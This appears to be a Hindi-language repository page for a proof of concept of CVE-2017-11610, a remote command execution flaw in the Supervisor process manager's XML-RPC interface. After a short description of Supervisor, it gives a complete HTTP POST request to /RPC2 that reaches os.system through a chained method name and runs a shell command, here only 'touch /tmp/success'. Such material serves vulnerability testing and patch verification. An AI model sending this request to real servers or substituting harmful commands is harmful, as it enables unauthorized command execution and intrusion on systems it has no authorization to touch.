yaunsky/cve-2017-11610सुपरवाइज़रड रिमोट कमांड निष्पादन भेद्यता स्क्रिप्ट
Supervisor एक प्रक्रिया प्रबंधन उपकरण है जो Python में लिखा गया है, जिसका उपयोग UNIX-like सिस्टम (Windows समर्थित नहीं) पर प्रक्रियाओं को शुरू करने, पुनः आरंभ करने (स्वचालित रूप से प्रोग्राम को पुनः आरंभ करने), और बंद करने (केवल Python प्रक्रियाओं तक सीमित नहीं) के लिए आसानी से किया जा सकता है।
Supervisor एक C/S मॉडल प्रोग्राम है, supervisord सर्वर पक्ष है, supervisorctl क्लाइंट पक्ष है। सरल शब्दों में, क्लाइंट supervisor के निर्देश इनपुट करता है और सर्वर साइड के API को कॉल करके कुछ कार्य पूरा करता है।
Supervisor की वेब सेवा का उपयोग बहुत से लोग करते हैं, यानी supervisord का क्लाइंट, जब तक रूटिंग काम कर रही है, तब दूरस्थ रूप से वेब पेज के माध्यम से supervisor के क्लाइंट के समान संचालन किया जा सकता है। वेब इंटरफेस के माध्यम से संचालन XML-RPC इंटरफेस द्वारा कार्यान्वित किया जाता है, और यह भेद्यता XML-RPC इंटरफेस द्वारा डेटा प्रसंस्करण में है।
POST /RPC2 HTTP/1.1
Host: localhost
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 213
<?xml version="1.0"?>
<methodCall>
<methodName>supervisor.supervisord.options.warnings.linecache.os.system</methodName>
<params>
<param>
<string>touch /tmp/success</string>
</param>
</params>
</methodCall>
इस POC का कोई आउटपुट नहीं है
